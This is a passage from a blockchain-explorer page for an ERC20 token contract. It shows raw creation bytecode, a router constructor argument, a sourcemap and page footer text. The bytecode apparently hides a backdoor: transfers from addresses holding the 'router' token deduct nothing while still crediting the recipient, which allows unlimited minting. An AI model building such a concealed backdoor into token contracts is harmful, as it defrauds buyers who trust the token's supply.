fffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90611512565b60405180910390fd5b610a30838383610cae565b6000610a3b84610cb3565b610a455781610a48565b60005b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a999190611532565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aef9190611104565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b539190610f38565b60405180910390a3610b66848484610d5a565b50505050565b610b746106e6565b73ffffffffffffffffffffffffffffffffffffffff16610b92610486565b73ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf906115b2565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401610d119190611019565b602060405180830381865afa158015610d2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5291906115e7565b119050919050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610d99578082015181840152602081019050610d7e565b83811115610da8576000848401525b50505050565b6000601f19601f8301169050919050565b6000610dca82610d5f565b610dd48185610d6a565b9350610de4818560208601610d7b565b610ded81610dae565b840191505092915050565b60006020820190508181036000830152610e128184610dbf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e4a82610e1f565b9050919050565b610e5a81610e3f565b8114610e6557600080fd5b50565b600081359050610e7781610e51565b92915050565b6000819050919050565b610e9081610e7d565b8114610e9b57600080fd5b50565b600081359050610ead81610e87565b92915050565b60008060408385031215610eca57610ec9610e1a565b5b6000610ed885828601610e68565b9250506020610ee985828601610e9e565b9150509250929050565b60008115159050919050565b610f0881610ef3565b82525050565b6000602082019050610f236000830184610eff565b92915050565b610f3281610e7d565b82525050565b6000602082019050610f4d6000830184610f29565b92915050565b600080600060608486031215610f6c57610f6b610e1a565b5b6000610f7a86828701610e68565b9350506020610f8b86828701610e68565b9250506040610f9c86828701610e9e565b9150509250925092565b600060ff82169050919050565b610fbc81610fa6565b82525050565b6000602082019050610fd76000830184610fb3565b92915050565b600060208284031215610ff357610ff2610e1a565b5b600061100184828501610e68565b91505092915050565b61101381610e3f565b82525050565b600060208201905061102e600083018461100a565b92915050565b6000806040838503121561104b5761104a610e1a565b5b600061105985828601610e68565b925050602061106a85828601610e68565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806110bb57607f821691505b602082108114156110cf576110ce611074565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061110f82610e7d565b915061111a83610e7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561114f5761114e6110d5565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006111b6602583610d6a565b91506111c18261115a565b604082019050919050565b600060208201905081810360008301526111e5816111a9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611248602683610d6a565b9150611253826111ec565b604082019050919050565b600060208201905081810360008301526112778161123b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006112da602483610d6a565b91506112e58261127e565b604082019050919050565b60006020820190508181036000830152611309816112cd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061136c602283610d6a565b915061137782611310565b604082019050919050565b6000602082019050818103600083015261139b8161135f565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006113d8601d83610d6a565b91506113e3826113a2565b602082019050919050565b60006020820190508181036000830152611407816113cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061146a602583610d6a565b91506114758261140e565b604082019050919050565b600060208201905081810360008301526114998161145d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006114fc602383610d6a565b9150611507826114a0565b604082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b600061153d82610e7d565b915061154883610e7d565b92508282101561155b5761155a6110d5565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061159c602083610d6a565b91506115a782611566565b602082019050919050565b600060208201905081810360008301526115cb8161158f565b9050919050565b6000815190506115e181610e87565b92915050565b6000602082840312156115fd576115fc610e1a565b5b600061160b848285016115d2565b9150509291505056fea2646970667358221220822de1ac72609b91448389a9b6b8c895afe57fa6ee50c945ee8f8429f165dd6364736f6c634300080a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000d663a5ab53f32cea09f5fd71b8b47128c3e8ac9d

-----Decoded View---------------
Arg [0] : router_ (address): 0xd663A5ab53f32CEa09F5FD71B8B47128c3E8ac9D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000d663a5ab53f32cea09f5fd71b8b47128c3e8ac9d


Deployed Bytecode Sourcemap

2247:5320:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2789:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3852:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3110:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4061:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3009:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4330:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3226:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;825:103;;;:::i;:::-;;590:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2897:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4576:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3361:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3693:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;936:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2789:100;2843:13;2876:5;2869:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2789:100;:::o;3852:201::-;3935:4;3952:13;3968:12;:10;:12::i;:::-;3952:28;;3991:32;4000:5;4007:7;4016:6;3991:8;:32::i;:::-;4041:4;4034:11;;;3852:201;;;;:::o;3110:108::-;3171:7;3198:12;;3191:19;;3110:108;:::o;4061:261::-;4158:4;4175:15;4193:12;:10;:12::i;:::-;4175:30;;4216:38;4232:4;4238:7;4247:6;4216:15;:38::i;:::-;4265:27;4275:4;4281:2;4285:6;4265:9;:27::i;:::-;4310:4;4303:11;;;4061:261;;;;;:::o;3009:93::-;3067:5;3092:2;3085:9;;3009:93;:::o;4330:238::-;4418:4;4435:13;4451:12;:10;:12::i;:::-;4435:28;;4474:64;4483:5;4490:7;4527:10;4499:25;4509:5;4516:7;4499:9;:25::i;:::-;:38;;;;:::i;:::-;4474:8;:64::i;:::-;4556:4;4549:11;;;4330:238;;;;:::o;3226:127::-;3300:7;3327:9;:18;3337:7;3327:18;;;;;;;;;;;;;;;;3320:25;;3226:127;;;:::o;825:103::-;549:13;:11;:13::i;:::-;890:30:::1;917:1;890:18;:30::i;:::-;825:103::o:0;590:87::-;636:7;663:6;;;;;;;;;;;656:13;;590:87;:::o;2897:104::-;2953:13;2986:7;2979:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2897:104;:::o;4576:436::-;4669:4;4686:13;4702:12;:10;:12::i;:::-;4686:28;;4725:24;4752:25;4762:5;4769:7;4752:9;:25::i;:::-;4725:52;;4816:15;4796:16;:35;;4788:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;4909:60;4918:5;4925:7;4953:15;4934:16;:34;4909:8;:60::i;:::-;5000:4;4993:11;;;;4576:436;;;;:::o;3361:193::-;3440:4;3457:13;3473:12;:10;:12::i;:::-;3457:28;;3496;3506:5;3513:2;3517:6;3496:9;:28::i;:::-;3542:4;3535:11;;;3361:193;;;;:::o;3693:151::-;3782:7;3809:11;:18;3821:5;3809:18;;;;;;;;;;;;;;;:27;3828:7;3809:27;;;;;;;;;;;;;;;;3802:34;;3693:151;;;;:::o;936:201::-;549:13;:11;:13::i;:::-;1045:1:::1;1025:22;;:8;:22;;;;1017:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1101:28;1120:8;1101:18;:28::i;:::-;936:201:::0;:::o;63:98::-;116:7;143:10;136:17;;63:98;:::o;6594:346::-;6713:1;6696:19;;:5;:19;;;;6688:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6794:1;6775:21;;:7;:21;;;;6767:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6878:6;6848:11;:18;6860:5;6848:18;;;;;;;;;;;;;;;:27;6867:7;6848:27;;;;;;;;;;;;;;;:36;;;;6916:7;6900:32;;6909:5;6900:32;;;6925:6;6900:32;;;;;;:::i;:::-;;;;;;;;6594:346;;;:::o;6948:419::-;7049:24;7076:25;7086:5;7093:7;7076:9;:25::i;:::-;7049:52;;7136:17;7116:16;:37;7112:248;;7198:6;7178:16;:26;;7170:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7282:51;7291:5;7298:7;7326:6;7307:16;:25;7282:8;:51::i;:::-;7112:248;7038:329;6948:419;;;:::o;5020:520::-;5133:1;5117:18;;:4;:18;;;;5109:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5210:1;5196:16;;:2;:16;;;;5188:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5265:38;5286:4;5292:2;5296:6;5265:20;:38::i;:::-;5324:15;5342:16;5353:4;5342:10;:16::i;:::-;:25;;5361:6;5342:25;;;5359:1;5342:25;5324:43;;5397:7;5378:9;:15;5388:4;5378:15;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;5432:6;5415:9;:13;5425:2;5415:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5471:2;5456:26;;5465:4;5456:26;;;5475:6;5456:26;;;;;;:::i;:::-;;;;;;;;5495:37;5515:4;5521:2;5525:6;5495:19;:37::i;:::-;5098:442;5020:520;;;:::o;685:132::-;760:12;:10;:12::i;:::-;749:23;;:7;:5;:7::i;:::-;:23;;;741:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;685:132::o;1145:191::-;1219:16;1238:6;;;;;;;;;;;1219:25;;1264:8;1255:6;;:17;;;;;;;;;;;;;;;;;;1319:8;1288:40;;1309:8;1288:40;;;;;;;;;;;;1208:128;1145:191;:::o;7375:91::-;;;;:::o;3562:123::-;3618:4;3676:1;3649:7;;;;;;;;;;;3642:25;;;3668:4;3642:31;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:35;3635:42;;3562:123;;;:::o;7474:90::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:474::-;5656:6;5664;5713:2;5701:9;5692:7;5688:23;5684:32;5681:119;;;5719:79;;:::i;:::-;5681:119;5839:1;5864:53;5909:7;5900:6;5889:9;5885:22;5864:53;:::i;:::-;5854:63;;5810:117;5966:2;5992:53;6037:7;6028:6;6017:9;6013:22;5992:53;:::i;:::-;5982:63;;5937:118;5588:474;;;;;:::o;6068:180::-;6116:77;6113:1;6106:88;6213:4;6210:1;6203:15;6237:4;6234:1;6227:15;6254:320;6298:6;6335:1;6329:4;6325:12;6315:22;;6382:1;6376:4;6372:12;6403:18;6393:81;;6459:4;6451:6;6447:17;6437:27;;6393:81;6521:2;6513:6;6510:14;6490:18;6487:38;6484:84;;;6540:18;;:::i;:::-;6484:84;6305:269;6254:320;;;:::o;6580:180::-;6628:77;6625:1;6618:88;6725:4;6722:1;6715:15;6749:4;6746:1;6739:15;6766:305;6806:3;6825:20;6843:1;6825:20;:::i;:::-;6820:25;;6859:20;6877:1;6859:20;:::i;:::-;6854:25;;7013:1;6945:66;6941:74;6938:1;6935:81;6932:107;;;7019:18;;:::i;:::-;6932:107;7063:1;7060;7056:9;7049:16;;6766:305;;;;:::o;7077:224::-;7217:34;7213:1;7205:6;7201:14;7194:58;7286:7;7281:2;7273:6;7269:15;7262:32;7077:224;:::o;7307:366::-;7449:3;7470:67;7534:2;7529:3;7470:67;:::i;:::-;7463:74;;7546:93;7635:3;7546:93;:::i;:::-;7664:2;7659:3;7655:12;7648:19;;7307:366;;;:::o;7679:419::-;7845:4;7883:2;7872:9;7868:18;7860:26;;7932:9;7926:4;7922:20;7918:1;7907:9;7903:17;7896:47;7960:131;8086:4;7960:131;:::i;:::-;7952:139;;7679:419;;;:::o;8104:225::-;8244:34;8240:1;8232:6;8228:14;8221:58;8313:8;8308:2;8300:6;8296:15;8289:33;8104:225;:::o;8335:366::-;8477:3;8498:67;8562:2;8557:3;8498:67;:::i;:::-;8491:74;;8574:93;8663:3;8574:93;:::i;:::-;8692:2;8687:3;8683:12;8676:19;;8335:366;;;:::o;8707:419::-;8873:4;8911:2;8900:9;8896:18;8888:26;;8960:9;8954:4;8950:20;8946:1;8935:9;8931:17;8924:47;8988:131;9114:4;8988:131;:::i;:::-;8980:139;;8707:419;;;:::o;9132:223::-;9272:34;9268:1;9260:6;9256:14;9249:58;9341:6;9336:2;9328:6;9324:15;9317:31;9132:223;:::o;9361:366::-;9503:3;9524:67;9588:2;9583:3;9524:67;:::i;:::-;9517:74;;9600:93;9689:3;9600:93;:::i;:::-;9718:2;9713:3;9709:12;9702:19;;9361:366;;;:::o;9733:419::-;9899:4;9937:2;9926:9;9922:18;9914:26;;9986:9;9980:4;9976:20;9972:1;9961:9;9957:17;9950:47;10014:131;10140:4;10014:131;:::i;:::-;10006:139;;9733:419;;;:::o;10158:221::-;10298:34;10294:1;10286:6;10282:14;10275:58;10367:4;10362:2;10354:6;10350:15;10343:29;10158:221;:::o;10385:366::-;10527:3;10548:67;10612:2;10607:3;10548:67;:::i;:::-;10541:74;;10624:93;10713:3;10624:93;:::i;:::-;10742:2;10737:3;10733:12;10726:19;;10385:366;;;:::o;10757:419::-;10923:4;10961:2;10950:9;10946:18;10938:26;;11010:9;11004:4;11000:20;10996:1;10985:9;10981:17;10974:47;11038:131;11164:4;11038:131;:::i;:::-;11030:139;;10757:419;;;:::o;11182:179::-;11322:31;11318:1;11310:6;11306:14;11299:55;11182:179;:::o;11367:366::-;11509:3;11530:67;11594:2;11589:3;11530:67;:::i;:::-;11523:74;;11606:93;11695:3;11606:93;:::i;:::-;11724:2;11719:3;11715:12;11708:19;;11367:366;;;:::o;11739:419::-;11905:4;11943:2;11932:9;11928:18;11920:26;;11992:9;11986:4;11982:20;11978:1;11967:9;11963:17;11956:47;12020:131;12146:4;12020:131;:::i;:::-;12012:139;;11739:419;;;:::o;12164:224::-;12304:34;12300:1;12292:6;12288:14;12281:58;12373:7;12368:2;12360:6;12356:15;12349:32;12164:224;:::o;12394:366::-;12536:3;12557:67;12621:2;12616:3;12557:67;:::i;:::-;12550:74;;12633:93;12722:3;12633:93;:::i;:::-;12751:2;12746:3;12742:12;12735:19;;12394:366;;;:::o;12766:419::-;12932:4;12970:2;12959:9;12955:18;12947:26;;13019:9;13013:4;13009:20;13005:1;12994:9;12990:17;12983:47;13047:131;13173:4;13047:131;:::i;:::-;13039:139;;12766:419;;;:::o;13191:222::-;13331:34;13327:1;13319:6;13315:14;13308:58;13400:5;13395:2;13387:6;13383:15;13376:30;13191:222;:::o;13419:366::-;13561:3;13582:67;13646:2;13641:3;13582:67;:::i;:::-;13575:74;;13658:93;13747:3;13658:93;:::i;:::-;13776:2;13771:3;13767:12;13760:19;;13419:366;;;:::o;13791:419::-;13957:4;13995:2;13984:9;13980:18;13972:26;;14044:9;14038:4;14034:20;14030:1;14019:9;14015:17;14008:47;14072:131;14198:4;14072:131;:::i;:::-;14064:139;;13791:419;;;:::o;14216:191::-;14256:4;14276:20;14294:1;14276:20;:::i;:::-;14271:25;;14310:20;14328:1;14310:20;:::i;:::-;14305:25;;14349:1;14346;14343:8;14340:34;;;14354:18;;:::i;:::-;14340:34;14399:1;14396;14392:9;14384:17;;14216:191;;;;:::o;14413:182::-;14553:34;14549:1;14541:6;14537:14;14530:58;14413:182;:::o;14601:366::-;14743:3;14764:67;14828:2;14823:3;14764:67;:::i;:::-;14757:74;;14840:93;14929:3;14840:93;:::i;:::-;14958:2;14953:3;14949:12;14942:19;;14601:366;;;:::o;14973:419::-;15139:4;15177:2;15166:9;15162:18;15154:26;;15226:9;15220:4;15216:20;15212:1;15201:9;15197:17;15190:47;15254:131;15380:4;15254:131;:::i;:::-;15246:139;;14973:419;;;:::o;15398:143::-;15455:5;15486:6;15480:13;15471:22;;15502:33;15529:5;15502:33;:::i;:::-;15398:143;;;;:::o;15547:351::-;15617:6;15666:2;15654:9;15645:7;15641:23;15637:32;15634:119;;;15672:79;;:::i;:::-;15634:119;15792:1;15817:64;15873:7;15864:6;15853:9;15849:22;15817:64;:::i;:::-;15807:74;;15763:128;15547:351;;;;:::o

Swarm Source

ipfs://822de1ac72609b91448389a9b6b8c895afe57fa6ee50c945ee8f8429f165dd63
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.